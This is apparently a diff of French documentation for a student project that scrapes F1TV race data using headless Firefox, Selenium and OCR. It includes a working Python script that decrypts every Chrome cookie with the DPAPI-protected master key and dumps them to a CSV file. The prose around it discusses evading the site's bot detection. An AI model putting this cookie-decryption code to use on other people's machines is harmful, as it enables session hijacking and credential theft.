    +                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(252, 252, 252)), 5), w.Bounds);
    +            }
    +            return img;
    +        }
    +        public void ResetZones()
    +        {
    +            Zones.Clear();
    +        }
    +        public void ResetWindows()
    +        {
    +            foreach (Zone z in Zones)
    +            {
    +                z.ResetWindows();
    +            }
    +            Windows.Clear();
    +        }
    +        /// <summary>
    +        /// Checks if the given Rectangle fits in the current zone
    +        /// </summary>
    +        /// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
    +        /// <returns></returns>
    +        protected bool Fits(Rectangle inputRectangle)
    +        {
    +            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
    +            {
    +                return false;
    +            }
    +            else
    +            {
    +                return true;
    +            }
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -210,10 +215,20 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • +
  • + + Window.cs + +
  • @@ -239,98 +254,97 @@

    recoverCookiesCSV.py

    -
    # Rohmer Maxime
    -# RecoverCookies.py
    -# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
    -# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
    -# Parts of this cript have been created with the help of ChatGPT
    -
    -import os
    -import json
    -import base64
    -import sqlite3
    -import win32crypt
    -from Cryptodome.Cipher import AES
    -from pathlib import Path
    -import csv
    -
    -def get_master_key():
    -    with open(
    -        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
    -    ) as f:
    -        local_state = f.read()
    -        local_state = json.loads(local_state)
    -    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    -    master_key = master_key[5:]  # removing DPAPI
    -    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    -    print("MASTER KEY :")
    -    print(master_key)
    -    print(len(master_key))
    -    return master_key
    -
    -def decrypt_payload(cipher, payload):
    -    return cipher.decrypt(payload)
    -
    -def generate_cipher(aes_key, iv):
    -    return AES.new(aes_key, AES.MODE_GCM, iv)
    -
    -def decrypt_password(buff, master_key):
    -    try:
    -        iv = buff[3:15]
    -        payload = buff[15:]
    -        cipher = generate_cipher(master_key, iv)
    -        decrypted_pass = decrypt_payload(cipher, payload)
    -        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
    -        return decrypted_pass
    -    except Exception:
    -        # print("Probably saved password from Chrome version older than v80\n")
    -        # print(str(e))
    -        return "Chrome < 80"
    -
    -
    -master_key = get_master_key()
    -
    -cookies_path = Path(
    -    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
    -)
    -
    -if not cookies_path.exists():
    -    raise ValueError("Cookies file not found")
    -
    -with sqlite3.connect(cookies_path) as connection:
    -    connection.row_factory = sqlite3.Row
    -    cursor = connection.cursor()
    -    cursor.execute("SELECT * FROM cookies")
    -
    -    with open('cookies.csv', 'a', newline='') as csvfile:
    -        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
    -        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    -
    -        if csvfile.tell() == 0:
    -            writer.writeheader()
    -
    -        for row in cursor.fetchall():
    -            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
    -            writer.writerow({
    -                'host_key': row["host_key"],
    -                'name': row["name"],
    -                'value': decrypted_value,
    -                'path': row["path"],
    -                'expires_utc': row["expires_utc"],
    -                'is_secure': row["is_secure"],
    -                'is_httponly': row["is_httponly"]
    -            })
    -
    -print("Finished CSV")
    -
    -
    +
    # Rohmer Maxime
    +# RecoverCookies.py
    +# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
    +# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
    +# Parts of this cript have been created with the help of ChatGPT
    +
    +import os
    +import json
    +import base64
    +import sqlite3
    +import win32crypt
    +from Cryptodome.Cipher import AES
    +from pathlib import Path
    +import csv
    +
    +def get_master_key():
    +    with open(
    +        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
    +    ) as f:
    +        local_state = f.read()
    +        local_state = json.loads(local_state)
    +    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    +    master_key = master_key[5:]  # removing DPAPI
    +    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    +    print("MASTER KEY :")
    +    print(master_key)
    +    print(len(master_key))
    +    return master_key
    +
    +def decrypt_payload(cipher, payload):
    +    return cipher.decrypt(payload)
    +
    +def generate_cipher(aes_key, iv):
    +    return AES.new(aes_key, AES.MODE_GCM, iv)
    +
    +def decrypt_password(buff, master_key):
    +    try:
    +        iv = buff[3:15]
    +        payload = buff[15:]
    +        cipher = generate_cipher(master_key, iv)
    +        decrypted_pass = decrypt_payload(cipher, payload)
    +        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
    +        return decrypted_pass
    +    except Exception:
    +        # print("Probably saved password from Chrome version older than v80\n")
    +        # print(str(e))
    +        return "Chrome < 80"
    +
    +
    +master_key = get_master_key()
    +
    +cookies_path = Path(
    +    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
    +)
    +
    +if not cookies_path.exists():
    +    raise ValueError("Cookies file not found")
    +
    +with sqlite3.connect(cookies_path) as connection:
    +    connection.row_factory = sqlite3.Row
    +    cursor = connection.cursor()
    +    cursor.execute("SELECT * FROM cookies")
    +
    +    with open('cookies.csv', 'a', newline='') as csvfile:
    +        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
    +        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    +
    +        if csvfile.tell() == 0:
    +            writer.writeheader()
    +
    +        for row in cursor.fetchall():
    +            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
    +            writer.writerow({
    +                'host_key': row["host_key"],
    +                'name': row["name"],
    +                'value': decrypted_value,
    +                'path': row["path"],
    +                'expires_utc': row["expires_utc"],
    +                'is_secure': row["is_secure"],
    +                'is_httponly': row["is_httponly"]
    +            })
    +
    +print("Finished CSV")
    +
  • - + OCR
  • @@ -402,24 +518,80 @@
  • - - Interprétation des données + + Traitement des données
  • Stockage des données +
  • Affichage des données +
  • @@ -428,6 +600,25 @@ Tests +
  • @@ -445,6 +636,11 @@
  • + + Utilisation de Chat GPT + +
  • +
  • Améliorations futures @@ -454,6 +650,11 @@ Conclusion
  • +
  • + + Notes de code + +
  • @@ -485,38 +686,18 @@
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -525,13 +706,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -540,13 +736,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -560,11 +766,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -785,6 +1001,83 @@
  • - + OCR
  • @@ -871,24 +1203,80 @@
  • - - Interprétation des données + + Traitement des données
  • Stockage des données +
  • Affichage des données +
  • @@ -897,6 +1285,25 @@ Tests +
  • @@ -914,6 +1321,11 @@
  • + + Utilisation de Chat GPT + +
  • +
  • Améliorations futures @@ -923,6 +1335,11 @@ Conclusion
  • +
  • + + Notes de code + +
  • @@ -1154,7 +1571,132 @@ La raison la plus probable étant qu'Amazon avec son service AWS propose exactem

    [A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]

    Analyse Organique


    -

    [A remplir au fur et à mesure que les features sont développées]

    +

    Outils utilisés

    +

    [A Remplir]

    +

    Technologies utilisées

    +

    Dans ce projet différents choix ont été faits pour ce qui est des technologies.

    +

    Certaines ont été choisies car elles étaient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de résumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec.

    +

    Selenium

    +
    + +
    "Logo de selenium"
    +
    +

    Selenium est une librairie à la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation première est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilité ce qui fait de supers test unitaires.

    +

    Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du "Scrapping". Et nous sommes un peu dans cette seconde catégorie. Le "Scrapping" c'est l'acte d'aller récupèrer des informations sur des pages web automatiquement pour alimenter sa propre base de données. En effet, si on arrive à passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la tête.

    +

    Le cahier des charges que j'avais en tête en cherchant une technologie de contrôle de navigateur internet était le suivant :

    +
      +
    • Simple
    • +
    • Permettant de contrôler un navigateur Headless (Voir chapitre "Simuler un navigateur ?")
    • +
    • Permettant de contrôler firefox
    • +
    • Ayant un wrapper C#
    • +
    • Permettre de changer certaines choses comme les cookies en Live
    • +
    • Permettre d'interagir avec les éléments d'une page
    • +
    • Fonctionner
    • +
    +

    Simple car je ne voulais pas avoir à passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'implémente pas les mêmes sécuritées que Chrome pour faire simple. J'avais besoin que la lib puisse contrôler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilisé pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les éléments de la page pour naviguer dessus et d'insèrer des cookies pour me connecter sans avoir à passer par le login de la F1TV qui est très bon pour detecter les bots.

    +

    Avec un cahier des charges parreil beaucoup de librairies ont été abandonnées. J'ai pu tester pleins de librairies C# qui arrivaient à contrôler un Chrome et même pas mal qui arrivaient à contrôler un Chrome Headless. Mais le choix est très vite restreind quand on veut pouvoir contrôler Chrome OU Firefox.

    +

    A la base mon choix c'était porté sur Puppeteer Sharp qui est une librairie qui se veut être exactement ce que je veux.

    +
    + +
    "Logo de Pupeteer"
    +
    +

    Je voulais utiliser cette librairie car il y a des plugins qui sont très orientés scrapping, en effet, ils implémentent de nombreuses techniques pour permettre de mieux passer innapercu par les systèmes de detection de bots.

    +

    Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'étais fixé et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de problèmes:

    +
      +
    • Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec différentes versions de la librairie et de ses dépendences simplement pour faire démarrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie.
    • +
    • Même avec les techniques proposées par les plugins "Stealth" je n'arrivais pas à bypass les sécuritées de la page de login de la F1TV. J'ai essayé tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper dès que l'on arrive sur la page.
    • +
    • Et le pire de tout, impossible de faire fonctionner un vidéo. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vidéo, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vidéo. Dès qu'elle se lance c'est un crash assuré sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien supporté et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais.
    • +
    +

    Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a été très dur car j'avais passé beaucoup de temps dessus à essayer de la faire marcher.

    +

    Ensuite le choix de Selenium était plutôt simple, c'était la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contrôler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#.

    +

    Si je n'arrivais pas à faire fonctionner Selenium j'aurai du abandonner l'idée de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et même si la version C# n'est vraiment pas bien documentée, la plupart des documentations de la version JS sont pertinentes pour al version C# même si ca n'est pas la même syntaxe.

    +

    Pour résumer, j'ai choisis Puppeteer car c'était la seule option viable pour mon besoin.

    +

    (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a décidé d'hardcoder la résolution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER)

    +

    CSharp

    +
    + +
    "Logo C#"
    +
    +

    Je pense que c'est le choix le plus simple à expliquer. C# est un language de programmation orienté objet relativement haut niveau qui a été créé par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language)

    +

    En plus d'être un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus à l'aise que pour d'autres languages comme le Python ou le JS.

    +

    Mon but n'était pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orientée objet. J'ai donc immédiattement pensé à utliser C#.

    +

    Cependant j'aurais très bien pu utiliser un language comme python qui m'aurait clairement facilité la tâche avec des librairies bien plus fournies et plus souvent mises à jour. Mais comme je ne suis pas du tout aussi à l'aise avec je pense que le C# était la meilleure option.

    +

    Mes seuls regrets après coup sont que je trouve les Windows Forms très moches et qu'il est particulièrement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des scénarios très précis ne sont pas au niveau de celles pour JS et pour Python.

    +

    Cependant si j'avais à refaire le projet je reprendrais C# je pense.

    +

    Python?

    +
    + +
    "Logo Python"
    +
    +

    Alors ce choix la est plus commpliqué à comprendre.

    +

    Pour tout le projet j'ai tenté de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas très précis.

    +

    Je n'aime vraiment pas coder en python de base et clairement j'aurais préfèré ne pas l'utiliser mais je n'avais pas le choix.

    +

    Le besoin dans le cas du python était le suivant :

    +

    J'avais besoin d'un moyen de récupèrer des strings et les décoder avec une clé encodée avec le système propriétaire de windows d'encodage.

    +

    Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver étaient en python. J'ai essayé pendant un sacré moment de faire fonctionner la decryption en C# mais sans succès.

    +

    J'ai donc directement utilisé le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise idée. En effet, cela veut dire que si à un moment Chrome est mis à jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script.

    +

    Un des avantages du Python est quand même qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation très spécifiques c'est plutôt pratique.

    +

    Le seul problème c'est que cela oblige l'utilisateur à avoir python installé sur sa machine et que sa version doit être compatible... (les joies de python)

    +

    Firefox

    +
    + +
    "Logo Firefox Headless"
    +
    +

    J'en parle deja plus bas, mais le choix de navigateur est super important.

    +

    Deja tous les navigateurs n'ont pas un mode Headless(sans tête, mieux expliqué dans la rubrique "Simuler un naviguateur ?"). Par exemple, même si Edge est maintenant basé sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment.

    +

    Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais très peu supportent Firefox ou Edge.

    +

    Donc il me fallait un navigateur qui puisse opèrer en Headless et qui soit supporté par plusieurs librairies d'automatisation.

    +

    Il n'y a que Firefox et Chrome qui sont conforme à ces exigeances (Je n'ai pas verifié pour TOUS les navigateurs. Peut-être que les Opera GX ont aussi un mode headless super, mais je me suis concentré sur les navigateurs plus grand public).

    +

    Chrome est supporté par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vidéo avec DRM (Plus d'infos la dessus dans la partie "Simuler un navigateur?") et donc le choix était simple. Il ne restait que Firefox.

    +

    Tesseract

    +

    Je pense que le choix le plus simple après le C# fut l'utilisation de Tesseract.

    +

    C'est tout simplement l'outil le plus utilisé pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut être redoutablement efficace avec le bon dataset.

    +

    Il existe d'autres outils mais j'ai décidé de prendre celui la à cause de son support juste incroyable et de son omniprésence dans la documentation OCR.

    +

    En plus il est facile à utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet.

    +

    Fonctionnement général

    +

    Avant de passer à l'explication de chaques parties du projet en détail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une étape vous serez conscient de à quoi elle sert et ou elle s'înscrit dans le projet principal.

    +

    Les briques principales

    +

    Voici trois grosses étapes du projet. Pour rappel ce sont des vulgarisations plutôt larges qui n'ont qu'un seul but, aider à la compréhension de ce qui vient par la suite.

    +
    Recupération d'images
    +
    + +
    "Diagramme simplifié représentant le processus de récupèration des images"
    +
    +

    Pour faire simple on peut voir qu'il y a deux parties à cette étape. La première en partant du haut représente un script python qui va chercher des informations dans la base de données de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion.

    +

    Dans la seconde étape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous intéresse et que une des infos que l'on récupère est une image de la page en format PNG que l'on envoie au programme C#.

    +

    Ces deux partie sont liées car pour se connecter à la F1TV Selenium a besoin des cookies de connexion récupèrés par le programme Python.

    +

    La première partie est un processus qui n'est utilisé qu'une seule fois au démarrage tandis que la récupération d'images et en continu pendant toute la durée de l'utilisation de l'application.

    +
    OCR
    +
    + +
    "Diagramme simplifié représentant le processur d'OCR"
    +
    +

    ;

    +

    On peut voir dans ce diagramme simplifié qu'avec l'aide de ce que contient le fichier "Config.JSON" on découpe l'image que l'on a récupèré au préalable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en récupère les informations sous forme de texte et on le renvoie dans le programme C#

    +

    Dans cette partie explicative générale, on ne reviendra pas sur la création de ce fichier config. Pour plus d'infos à son sujet voir la rubrique (OCR/Fonctionnement général)

    +
    Traitement et affichage
    +
    + +
    "Diagramme simplifié représentant le processus de traitement et d'affichage"
    +
    +

    On peut voir dans ce dernier mini diagramme simplifié que on prend les données que l'on récupèré de l'étape précédente qui ne sont pas forcément toutes cohérentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de données SQLITE. Ensuite cette même base de donnée fournis les infos nescessaires pour des affichages (Ces affichages sont directements récupèrés depuis le projet en cours de fonctionnement)

    +

    Résumé du fonctionnement général

    +
    + +
    "Diagramme simplifé représentant le processus général du projet"
    +
    +

    Ce dernier diagramme est un schéma fait pour représenter de la manière la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. +La représentation est un peu différentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donnée à travers les couches

    +

    Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture.

    +

    Dans l'ordre, on peut voir que pour la partie récupèration d'images, le python va récupèrer les cookies dans la base de données chrome pour ensuite les retourner à Selenium.

    +

    Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies récupèrés pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos à Selenium.

    +

    L'info qui nous intéresse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme.

    +

    Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives données par le fichier Config.JSON (il renseigne les zones à découper et ce qu'elles représentent) et après le découpage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fenêtres de données par zone de pilote donc 180 fenêtres en tout.

    +

    Ces fenêtres sont ensuite envoyées pour être filtrées (retirer le flou, mettre en évidence les caractères, en gros les préparer pour la reconnaissance) dans la partie OCR

    +

    Dans cette partie, après avoir filtré les images, on les envoie à Tesseract pour qu'il nous retourne des résultats d'OCR. Ces résultats sont ce que Tesseract a trouvé sur les image et ils sont retournés sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....)

    +

    Finalement ces données ont envoyées dans la partie traitement qui va faire des vérifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoyé dans une base de données SQLITE.

    +

    On ne montre pas non plus dans ce diagramme la parte affichage des données car je ne trouve pas pertinent de l'inclure ici.

    +

    Et voila c'est le fonctionnement très général et simplifié de l'application. Je vous invite à continuer à lire cette documentation pour des informations plus précises à propos de toutes ces étapes. Bonne lecture !

    Récupération des images

    Voici la première grande étape du projet.

    Pour rappel, Amazon héberge directement le site de la F1TV et possède les droits sur les données de la F1. C'est sous le nom de AWS (le service d'hébergement d'Amazon) que la firme apparait en tant que sponsor.

    @@ -1202,7 +1744,11 @@ Je pense donc que c'est justement pour éviter que des petits malins puissent si

    J'ai donc décidé de m'occuper de la seconde option : Simuler un navigateur.

    Cette option bien que complexe et difficile à implémenter propose une solution à tous les problême et permet une récupèration quasi sans compromis.

    Simuler un navigateur ?

    -

    Simuler un navigateur internet n'est pas forcément très difficile. Chromium par exemple offre une panoplie d'outils natifs et énormément de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contrôler sans afficher son UI.

    +
    + +
    "Navigateur Headless(sans tête)"
    +
    +

    Simuler un navigateur internet n'est pas forcément très difficile. Chromium par exemple offre une panoplie d'outils natifs et énormément de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contrôler sans afficher son UI (Interface Utilisateur).

    "Chromium logo"
    @@ -1244,10 +1790,12 @@ Je pense donc que c'est justement pour éviter que des petits malins puissent si

    Pour faire toutes ces actions on doit récupèrer les éléments selon leur ID ou leur classe.

    Voici un exemple qui récupère le bouton de plein écran et qui clique dessus :

    -
    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
    -fullScreenButton.Click();
    -
    +
    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
    +fullScreenButton.Click();
    +

    Ca peut paraître plutôt simple dit comme ca et quand tout fonctionne ca l'est mais la difficulté vient du fait que à peu près nimporte laquelle de ces étapes peut rater et qu'il faut donc faire un bon système de gestion d'erreurs qui puisse aider l'utilisateur en cas de problème.

    +

    Parfois il est aussi difficile de trouver un élément selon son ID,sa classe, ou sa value.

    +

    Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression régulières ce qui n'est pas compliqué en soi mais c'est toutes ces petites choses qui rendent le processus long à mettre en place.

    Il faut dire aussi que les sites ne sont pas forcément très content de voir des bots passer car cela peut être un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des systèmes pour nous empêcher de faire ce que l'on veut

    On peut utiliser différntes techniques pour passer outre ces restrictions comme :

      @@ -1265,16 +1813,416 @@ fullScreenButton.Click();

      J'ai donc été obligé de faire appel à la connexion par Cookies pour pouvoir accèder au reste du site internet.

      Récupèrer les cookies ?

      Alors, on va mettre de côté toutes les questions de sécurité et de violation de la vie privée et de protection des données des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app.

      -

      [FINIR CETTE EXPLICATIOn]

      +

      Alors évidemment ca n'est pas pour faire des bétises avec et c'est pour une "bonne" raison, mais bon quand même ca peut faire bizarre comme ca.

      +

      Je pense que vous savez déja ce qu'est un Cookie, mais je vais quand même faire un petit point la dessus car c'est important pour la suite.

      +

      Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connectés sur la session.

      +

      Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en mémoire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier à cette limitation on a inventé cette chose magnifique (hem...) que sont les cookies !

      +

      Les cookies sont des petits fichiers qui sont stockés dans votre navigateur et qui peuvent servir à beaucoup de choses comme traquer votre activité sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion.

      +

      L'idée est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement.

      +

      Ca peut paraître génial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne à s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire à un moment donné pour temperer les risques, mais ils sont toujours présents.

      +

      Dans notre cas on peut vite comprendre pourquoi cela peut être intéressant de récupèrer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement à la F1TV et aller prendre des photos directement sans que l'utilisateur aie à faire quoi que ce soit.

      +

      Sauf que les cookies ne sont pas stockés en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour éviter que nimporte qui puisse s'amuser à aller taper dans les cookies de la machine.

      +

      Tous les cookies sont stockés dans une base de données sqlite avec les noms en clair et les valeurs sont encryptées en utilisant la methode AES 256 qui est une methode de cryptage très utilisée et efficace.

      +

      Tellement efficace qu'il serait complêtement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou même une attaque de dictionnaire ou quoi que ce soit.

      +

      Si ces valeurs peuvent être encodées et décodées en local sur la machine sans connexion internet, cela veut dire que la clé est stockée sur la machine. Et si je peux mettre la mais sur cette clé alors je pourrai lire tous les cookies de la machine.

      +

      Cette clé est stocké dans les fichiers de Google Chrome sous Google\Chrome\User Data\Local State. Et dans ce fichier on peut trouver une liste de données en clé valeurs et on peut trouver la clé sous os_crypt encrypted_key. On pourrait croire que l'on a déja touché le jackpot mais il reste encore une étape. Cette clé est cryptée en utilisant le système d'encryption de Windows. Cette encryption est utilisée pour empêcher des utilisateurs non connectés d'accèder à certaines données. Mais comme nous sommes connectés nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette clé.

      +

      Et à partir de la il suffit d'utiliser cette clé pour décrypter tous les cookies de la machine pour aller chercher ceux qui nous intéressent.

      +

      Voici un exemple du code python qui permet d'aller chercher la clé d'encryption dans les fichiers de Google Chrome :

      +
      def get_master_key():
      +    with open(
      +        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
      +    ) as f:
      +        local_state = f.read()
      +        local_state = json.loads(local_state)
      +    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
      +    master_key = master_key[5:]  # removing DPAPI
      +    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
      +    print("MASTER KEY :")
      +    print(master_key)
      +    print(len(master_key))
      +    return master_key
      +
      +

      Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies.

      +

      Ce choix a été fait pour trois raisons :

      +
        +
      1. Le python est un language que je n'aime pas particulièrement mais qui possède un éventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise à jour des librairies et qui sont un peu niches le python est une option juste géniale.
      2. +
      3. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le système de stockage des cookies. Dans une optique de facilité de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique.
      4. +
      5. Je n'ai pas réussi à trouver de librairies C# qui me donne des résultats identiques à celles que j'utilise dans ce script python.
      6. +
      +

      Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#.

      +

      Voici la partie python qui écrit dans le csv :

      +
      if not cookies_path.exists():
      +    raise ValueError("Cookies file not found")
      +
      +with sqlite3.connect(cookies_path) as connection:
      +    connection.row_factory = sqlite3.Row
      +    cursor = connection.cursor()
      +    cursor.execute("SELECT * FROM cookies")
      +
      +    with open('cookies.csv', 'a', newline='') as csvfile:
      +        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
      +        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
      +
      +        if csvfile.tell() == 0:
      +            writer.writeheader()
      +
      +        for row in cursor.fetchall():
